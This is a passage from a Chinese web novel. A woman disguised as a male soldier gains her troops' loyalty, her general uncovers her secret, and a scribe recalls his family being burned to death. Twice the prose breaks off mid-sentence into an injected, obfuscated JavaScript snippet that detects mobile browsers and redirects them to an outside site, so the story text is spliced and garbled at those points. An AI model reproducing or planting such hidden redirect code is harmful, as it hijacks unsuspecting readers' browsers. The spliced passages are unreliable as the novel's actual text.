再也没人贸然猜测她的意思了,但陆秋筠拍拍锅,轻飘飘地说了一句要吃自己拿,然后自己拿了两饼,端上碗,转过身,走得分外利落。 众人面面相觑,都没想到居然还有粥饼,特别是刚刚连汤都没分到的,都做好了要饿肚子的准备,谁知道这小将军居然还有这一出。 “那个……”小副手硬着头皮开口,“陆小将军说,咱们以后就照着这办法来,谁有收获,谁就能吃到肉。” 又是一道惊雷,众人本还以为今天这是例外,毕竟多的是把东西全部收走的事情,能捞到一次已是难得,结果这小将军居然还说以后都是这个办法,那还难受个什么,明天还有希望啊! 小营地里顿时活跃起来,陆一看一眼周围,那几个说要晚上和他一起去偷拿的早就热热闹闹地和别人聊了起来,哪里还记得自己之前的骂骂咧咧。 他闷一大口汤,突然忍不住笑了起来。 这位陆小将军,还真是心软。 11. “陆丘,你是女子吧?” 黄昏时刻,四周好像没什么人,陆秋筠环视一圈,轻咳几声,凑到营帐门口喊人。 她连喊了好几声,布帘才被人从里面掀开。王景看见是她,目光闪了闪,露出的温和笑容看上去有些勉强,视线也垂了下来: “……你怎么还有空来找我?” 他早就听说陆丘因为那天的献策颇得将军赏识,还得了几百骑兵,正是忙的时候,他没想到她还能想得起来主动找他,再三确认后才别别扭扭地走出来。 陆秋筠不知道他脑袋里的弯弯绕绕,示意他凑近一点。 王景抿唇,想说这样不好,身体却已经诚实地靠了过去。 一个碗被塞过来,王景低头一看,居然是一碗肉汤,尚温热,散发着一股肉香。 “你太瘦了,脸颊都凹下去了,应该多吃一些。” 陆秋筠说完,冲他挥挥手,转身走得很潇洒。 反而是王景在原地怔了半晌,才端着碗,脚步略显沉重地回了自己的营帐。 和他住在一起的人都挺忙,有个年纪小的也被一小将军要去办事,到现在都没回来。帐内分外安静,王景盯着手中的碗,忽而想: 他的确好久都没能吃饱饭了。 陈垚军中一向以军功为重,他上不了战场,每月只能分得一点粮食,长年累月的饥饿缓慢地逼他发疯,直到几天前,他再也受不了了,翻出自己那些曾经最宝贵的东西,背进城里,一个个地问人要不要,要不要。 他快饿死了,他想换粮食。 结果就在城里,他看见那个亲兵背着那么多的余粮,正准备放在人家家门口,脚步轻快得像这完全不是什么大不了的事。 那一瞬间,痉挛的胃部分泌出酸水,他又嫉妒又狼狈,但面对那双眼睛,他又不由自主地强撑起自己那一点自尊,说了那些连他自己都不信的谎话。 可她好像一眼看穿了他的伪装,不仅替他买回了那方小砚,近日他突然变多的口粮肯定也是她的手笔,今天晚上,她还亲自端来一碗肉汤,同他说他变瘦了,应该多吃些。 王景摸摸自己的脸颊—— 果然是凹下去了,皮肤也粗糙许多,哪里还有以前锦衣玉食下养出来的光滑皮肉。 想来定是十分丑陋、不堪入目。 他掩面,不由得回想起从前家族里的那些时光,但很快,那些华贵漂亮的东西就通通变成了一把大火。 几年前的大火里,倒塌的房屋,铺天盖地的哀嚎,几百只火把,还有饱含愤怒的呼声: “烧死他们!” “恶贯满盈!为非作歹!” 他缩在拐角,怀里还抱着白日里背着去上学的书箧,眼睁睁地看着那些熟悉的面庞倒在大火里,却连一步都迈不出去。 有人挣扎着跑到了大门,伸出来的手让他一瞬间差点惊叫出来—— 那是,那是他的父亲!拇指上有个玉扳指,他不会认错的! 那双手扒着门槛,却连翻出来都做不到。世家大族,门槛普遍比别人高些,本来是为了挡住下等人的烦扰,谁知阴差阳错间竟把自己也困在了里面。 熟悉的声音不断发出被火焰灼烧的惨叫,他心脏狂跳,急切地迈出第一步。 “有人想逃!” 偏偏有人发现了扒着门槛的这双手,那人像被激怒了一般毫不犹豫地一脚踩了下去: “你凭什么逃,你们都该死!都应该被烧死!” 明灭摇晃的火光下,举着火把的人神色疯癫,又哭又笑,歇斯底里: “为什么不帮我们,你们那么好的名声,又有那么多粮食,那么多钱,却一分一厘都不愿意漏出来!他们吃了我的孩子,我也吃了他们的孩子……” 人呕起来,火把烧到自己的身上,他好像感觉不到痛一般,低下头看倒在门槛前的人,喃喃自语: “不对,是你吃的,是你们吃的。” 他脸上淌下两行血泪,举着火把的手一松,那一团火光就这样直直地落到了扒着门槛的那双手上。 带着玉扳指,常常握着一支笔,为母亲写过诗的,曾揉过他的头发的,为他掖过被角的一双手,在那一瞬间剧烈颤抖,滋啦,滋啦,再无原状。 王景的父亲再也不会惨叫了。 书箧掉在地上,王景木然低头,看见了那里面滚落出的几本圣人之言,并一方小小的砚台。 恍然间他好像回到了第一次去学堂的清晨,父亲亲自给他收拾出这个书箧,放进去几本抄写漂亮的圣人书和一方名家题字的砚台。 他不想上学,就闹着说不要这个砚台,母亲在旁边看笑话,父亲叹口气,把自己书桌上的那方小砚台也放了进去,又摸摸他的头: “圣人的书里有大道理,怎么能不去学习呢?” 回忆愈演愈烈,灰沉沉的营帐里,王景捂着胸口,脸上淌下滚烫的液体。 他想起那天听到的陈垚的讽刺话语,忍不住又哭又笑: 陈垚说的没错,他就是虚伪懦弱、心机深沉,装模作样。 白日里他温和有礼,苦苦维持自己身上那一点曾经的影子。但一入夜,他无时无刻不在做梦和煎熬。 几百卷的书籍,把他变成了一个会痛苦、会思考的活生生的人。 他想不通,想不通那几百人为何偏偏要把天灾人祸全算在王氏头上,想不通这乱世中为何有这么多人为制造出的残忍和痛苦。 混乱中,他颤抖着的手无意间碰到了那一碗还热乎着的汤,碗壁上的热度慢慢地、慢慢地顺着他冰凉的手指蔓延。 “你太瘦了,脸颊都凹下去了,应该多吃一些。” 她说这话时藏着关切的神色又在他眼前浮现。于是王景端起碗,苦涩的泪滴和温热的肉汤被他一并送进喉里。 为什么没能早点遇见她。 —— 陆秋筠觉得今天终于是给这五百人开了个好头,一身轻松地回到自己的营帐,刚要躺下美美入睡,张虎就急忙叫住了她: “陆丘,别睡啊,今天轮到你去守夜了。” 陆秋筠一时没反应过来他指的是什么守夜,等张虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679106|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤眉弄眼地往陈垚的大营帐那儿示意了一下后,陆秋筠登时有些疑惑: “今天?是我吗?” 张虎咳了两声:“对啊,你没来之前都是我们轮流守的,现在也该轮到你了嘛。” 陆秋筠半信半疑,还没拿自己的被褥,就被张虎推出了营帐: “别拿了,那儿都有,快去快去,守夜可是很重要的,你机灵点儿啊,有什么异常还得靠你提醒将军。” 布帘一落,就剩陆秋筠自己一人站在了外面,她有些无语。 靠她提醒陈垚?那行军好几年的将军怎么可能还要她提醒。 她顶着冷风走到陈垚的营帐前,考虑到时间特殊,她先喊了一声“将军我进来了”,才掀开厚帘走了进去。 营帐内明显比外头暖和许多,浑身冷气消融,陆秋筠舒服地叹了口气。 略走几步,她又掀起一道隔绝前堂和后室的帘子,抬头就看到陈垚正坐在床边看着她。 她动作不由微妙地顿了一下。 虽然白日里轮班她也时常待在这营帐里,但她还从未来过后面这供陈垚休息的地方,此时这里又只点了几支蜡烛,光线昏黄,好像把里面坐着的人都衬柔和了似的。 营帐外时不时传来簌簌的风声和值夜士兵的脚步声,在两人之间的沉默越来越怪异前,陈垚终于开口,语气平和:“过来坐。” 这过来坐显然不是让她过来坐在他的床上,陆秋筠顶着陈垚的目光往前走了几步,果然看见他对面还有一床,被褥等等都已经备好。 大概是为了将领和亲兵双方的情绪着想,中间甚至还贴心地加了一道布帘。 她硬着头皮坐下,立马发现这帘子还不如不挂。 可能是因为布料紧缺,这帘子一看就是随便找的残次品,薄薄一层,你说它不遮,它确实也能给人带来一点轻度目盲的微妙体验,但你说它遮,它又确实根本遮不住什么东西。 反而把本来明确清晰的身体轮廓搞得模模糊糊、朦朦胧胧的,不知道的还以为这是什么美人的面纱,是用来烘托气氛的。 0302怪叫:“哦呦——” 陆秋筠觉得床上有针在扎,这气氛对她来说实在太过陌生,她应激得只想夺窗而逃,能坐下去全凭她平日里对陈垚的信任的积累。 “你……” 陈垚开了个头,又停住了,他抓了抓自己的脖颈,也有些不自在—— 平日里亲兵们守夜,是没有这道帘子的,只是他考虑到今晚要和这陆丘开诚布公地谈谈,谈完自然也不能就让人家和自己毫无阻拦地睡在一个地方,便让张虎布置了一下。 这人怎么是这么布置的? 微妙气氛下,他觉得自己心脏都有点发麻发热,疑心这是旧伤被张虎气得发作,一边盘算着明天怎么和张虎算账,一边深吸一口气,终于重新开口: “你……” 这种吞吞吐吐的样子不是陈垚的作风,陆秋筠心中有了些不妙的预感,果然听见他笃定地道: “陆丘,你是女子吧?” 12.“我娘,从前也和你一样。” 落针可闻。陆秋筠下意识探向腰间,摸了个空,她这才想起来武器被放在了外面。 薄薄布帘遮不住二人的一举一动,陈垚的身体因为她的动作有一瞬间的绷紧,但又很快放松下来。 面前布帘被人挑起一角,对面的陆丘盯着他看: “你是怎么知道的?” 陈垚看着那张烛光下显得分外雅秀的面容,不合时宜地有些想笑,笑她没有“自知之明”,但他最后还是忍住了,同样直视着她的眼睛: “我不是要伤害威胁你,只是你如今是我的亲兵,有些事情还是说开为好。” 昏黄烛光下,陈垚的双眼黑亮而沉静,他这人仿佛天生就有一种能取信于人的亲和力,这般直率地看着人时,叫人忍不住就想相信他的话。 0302从这陡然紧张起来的气氛中缓过神,在她脑海中屏息等待,却听它这宿主沉思几瞬,开口时,话音如同落了一层薄霜的树枝段: “你我动手,我也有四成胜算,你未必能伤害威胁到我。” 陈垚哑然失笑,看见她眼神中自有一股较劲的认真,知道她并非玩笑话,于是也收起自己些微的看戏心态,手指抚抚膝头,斟酌着开口: “我能猜出你的身份,其实是因为王景。” 陆秋筠想了以前同营帐的李腾,想了跟她走得近的张虎,偏偏没料到他嘴里会蹦出王景的名字,一时间抿抿唇,千头万绪不知从何问起。 陈垚见她目光茫然,索性直言:“你看不出么?他心悦你。那天他态度古怪,显然是因为你我走得近而吃味。” 陆秋筠被这一道雷劈得外焦里嫩,罕见地有些张口结舌:“心悦,我,我吗?” 陈垚笑:“你不该对他这么好,反倒暴露了自己。” 陆秋筠想起那天东宁郡内被落下的包裹,有些恍然,但还有些不太甘心:“为什么不能是他是断袖?” “你伪装得并不好,”陈垚摇摇头,“我本来就心存疑虑,桩桩件件加在一起,我对你的身份就有了七八分把握。” “……将军想如何处置?” 陈垚却笑了:“处置?我不想处置你,只是想劝告你,别再和王景来往了。” 听上去像是关心她的情感生活,但陆秋筠和陈垚相处了这么长时间,知道他虽然直率,却绝不是没有心机,果然又听陈垚继续道: “军中绝不止我一人猜出了你的真实身份。” “比如张虎,他知道得比我还要早,但一直帮你隐瞒,如果不是我直接诈他,他恐怕会继续帮着你瞒我。” 他俯身靠近陆秋筠,几乎贴近她的耳畔,往日对她总是平易近人春风化雨的黑眸似笑非笑,终于显出了一点将军的压迫感: “你知道为什么吗?” “因为你身手厉害,因为你待人以德,因为他们和你关系好?错了,最重要的,是因为你没有破绽。” 陈垚的语速越来越快,话音里带了显而易见的愤怒: “一旦多了风言风语,多了儿女情长,他们就会觉得你有了破绽,有了软肋,到那时候,你觉得你还能活下来吗?你知道你会面临着什么吗!” 他几乎是低吼着说完,话音结束后空气分外寂静,只能听见他急促的喘息声,过了一会儿,陈垚平复下来,以为对面人被自己吓住,抬眼望去。 却见陆秋筠往后靠了靠,未见慌乱,反而看他的眼神明显多了些打量,开口时更是反客为主,针锋相对: “将军说是提醒,但倒像是在借我的事发泄怒火……我猜,将军从前见过这样的事?” 陈垚一怔,坐了回去。 一时间只有烛影摇晃,陆秋筠清晰地听到了他喉间的一声吞咽,随后他慢慢开口: “我娘,从前也和你一样。” 虽然有所猜测,陆秋筠也不由得怔了怔:“那后来呢?” “后来,害了我娘的人当上了新将军,却败给了崔复……他提拔了我。” 他说得很轻描淡写:“我便亲手报了仇。” “所以将军才一直奉崔将军为主?” “也不仅如此,崔将军是个很仁爱的主公,”说到这儿时,他却卡了卡,揉了揉自己的眉心,听上去有些疲倦,“他对我有恩,我应该效忠于他。” 陆秋筠挑挑眉,暗想这可不是对崔复毫无芥蒂的样子。 陈垚很快拉回刚刚谈话的正题,声音严肃: “你现在明白我的意思了么?我不会惩罚你,甚至不会计较你是男是女,但最重要的是,你要毫无破绽。” 他看上去有些出神:“毫无破绽地,继续做那个让人心甘情愿为你遮掩、甚至追随你的陆丘。” 陆秋筠轻声接话:“将军要我自塑金身,当个完美的大旗?” 陈垚觉得她的说法很贴切,笑了笑:“百姓需要,我的军队需要,我也需要,为什么不呢?” 他熄了灯,似乎是准备入眠,声音也有些低了:“我自然也应该为你塑金身。” 塑金身,把自己变成另一个完美无缺的,能号召民心和军心的“魏潜”么? 陆秋筠不置可否,没再说话,也沉沉睡去。 自从那天晚上后,陈垚对她更加重用,人前人后都十分亲信,她在军中本就有些名气,这下更是一跃成为除陈垚外最有地位的小将军。 不少人议论纷纷,但不久前陆秋筠把骑兵们都打翻了的余威还没散去,大多都没什么异议,跟陆秋筠相处过的更是心服口服。 但不管陈垚和军中其他人是什么态度,陆秋筠倒始终是一副不动如山的样子,她手上的打猎任务进行得如火如荼,骑兵们每日的收获逐渐稳定下来,军中不少人看着眼热,后来陈垚索性下令,又拨了一些人给她。 除了军中的人外,还有不少东宁郡中人希望能跟着一起,陈垚曾说这部分人也由她管理,她每日更是忙得不可开交。 普通百姓不比骑兵健壮,一旦受伤更是凶险,她索性将所有人分类管理,各取所长,百姓们每日愿意也可统一由她一起训练。 这样一来,自愿跟着队伍一起出城打猎的,几乎和陆秋筠手下现有的骑兵没什么两样,俨然也开始一口一个“陆将军”的叫着她。 城里城外,她一时名声大噪,百姓们可能不知道城外那连绵营帐的正中住着的陈垚是谁,却大多都知道那每日纵马在城门前来来往往,领着大家一起打猎,还会保护他们的陆小将军。 每日家里人打猎完回来的,还要顺嘴问一句陆小将军如何,然后一家人处理了那些野禽,烧火做饭,每户上空便飘出一阵阵各异的香气来。 闲暇时,邻居间串门,一边唠嗑,祈祷家中人人平安,陆小将军平安,一边顺手把几个小木雕摆齐—— 这些小木雕是这一阵子城内突然流传起来的,个头小,却精细,看上去不像是民间那些木匠的手艺,倒像是由谁统一做出来的。 大家搞不明白这木雕的来路,却在“雕的是谁”这个问题上达成了高度一致: 这俊秀到雌雄莫辨的一张脸,微微垂下的双目,可不就是那每日打马从城门前经过,有时又背着背篓进城的陆将军? 只是这木雕却给陆将军套了个女神仙的打扮,大家初时有些奇怪,转念一想又觉得说得通: 这神仙嘛,还是女相的好,君不见那大慈大悲救苦救难观世音菩萨也常以女身塑像,陆小将军,面好心善,若本是女神仙下凡,就更说得通了! 这股风气一起,城内世家们先坐不住了。 先前陈垚手起刀落地杀了一世家子弟,已是表明了自己的立场,他们正苦于如何抗衡,陆丘一出,立马觉得来了祸水东引的时机。 “那天我刚进去,就听到一群人说您权势过大,心怀不轨。” 这天打猎结束,陆一落后她半个身位,把前几日发生的那件事情活灵活现地说给她听。 她拉着缰绳,觉得有趣:“然后呢?” “陈将军就一个劲儿地笑,也看不出来是高兴还是不高兴,”陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15682061|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿了顿,觑她的神色,“然后……有人就说,百姓们都传,您是个女神仙,而且看上去也不像是个男子,倒像是,是女扮男装的。” 陆秋筠顿了顿,转脸看他,似笑非笑:“你觉得呢?” 陆一讪笑,连忙插科打诨:“我当然立马就要替您怒斥他,但陈将军的动作比我快多了。” “他猛地就掀了桌案,大发雷霆,说这些人干预军务还胡乱攀咬,简直其心可诛!当下就把这些人都拖下去关押了起来。” “现在谁人不知,这军中陈将军最信任的就是您了。” 他话音顿了顿,有些鬼鬼祟祟地四处看了看,才又凑近了些,挤眉弄眼地: “不过我看那,就算陈将军真的,咳,依您现在的声势,他也没办法……” 陆秋筠意味深长地看了他一眼: “那你猜,他为什么毫不担心呢?” 陆一被她问得愣住,隐隐又察觉到了这一问题背后的不同寻常。 他刚刚的话,显然是在小心试探陆秋筠本人对主将位置的想法,但陆秋筠回过来的这句话,却隐含了她身上更多的秘密。 答对了,就能跟着她踏上那一条道路,答错了,就错失这个机会。 尽管还没法知道那条道路究竟是怎样的,陆一却下意识地认真思考了起来,电光火石间,陆一咽咽口水,收起嬉笑的表情: “因为……陈将军笃定您没办法代替他。” “继续说,为什么?” 是啊,为什么?陆丘身手好,性格好,脑子也灵活,那到底是什么让陈垚这么笃定? ——只有性别,因为陆丘是个女子,陈垚知道,以女子身份示人的陆丘可以做号召人心的一面旗,却不觉得她真的可以成为一个女将领。 “因为……您真的是,女扮男装。” 他挤出这几个字,看见面前的小将领露出了一点赞许的笑容,心头却慢慢变凉。 他生性聪敏,靠滑不溜秋左右逢源的手段在这军中也算是过得如鱼得水,军中大半人都要给他几分薄面,但随着刚刚那句话说出口,陆一明白: 他和陆丘现在彻底变成一条船上的人了。 他是不是选错了?他忍不住拷问自己,就像陈垚所想的那样,这乱世中真的能容下一个女将军吗?现在这日子过得难道不舒坦吗? 陆秋筠没等他懊恼结束,迎面朝他扔了个东西,他接住,放在眼前一看: 正是城内近日风行的那个陆丘小木雕。 他心头又是一跳:“这木雕……” 陆秋筠干脆利落地回答了他:“陈将军身边有一善木工的亲兵,这是那日他坐在我面前,照着我,就在我眼前,一点一点雕出来的。” “我的身份迟早会暴露,你可以选择忘记我们今天的对话,要不要记住,全看你自己。” 陆一看着她策马离开,在原地静了半晌,最后他把木雕收起来,握着缰绳的手紧了紧—— 还是驾马跟上了陆秋筠的背影。 陆一本以为今天的惊吓已经够多,偏偏傍晚时,又叫他碰上了一件怪事。 “我找陆丘,陆小将军,她不住这儿了么?” 眼前人一身灰袍,细皮嫩肉的书生样,陆一上下打量了他一眼: “陆小将军前几天就有了自己的小营帐,自然不和我们住一块儿了。你是什么人?又有什么事?” 那人怀中还抱着个东西,闻言犹豫了一下:“我是西南角的主簿,是她的……友人。” 陆一一听这话便翻了个白眼——还友人呢,自从陆小将军发达,他不知见过多少人来攀关系,什么远方表哥表弟,舅舅叔叔,这怎么又冒出个友人。 他不由讥讽: “既然是友人,你怎么连她搬了营帐都不知道?” 说罢,他懒得再纠缠,打着哈欠就头也不回地进了自己营帐。 帐外,王景的脸色一阵青白,他抱紧怀中的物品,咬咬牙,在黑暗中踉跄着快步离开了。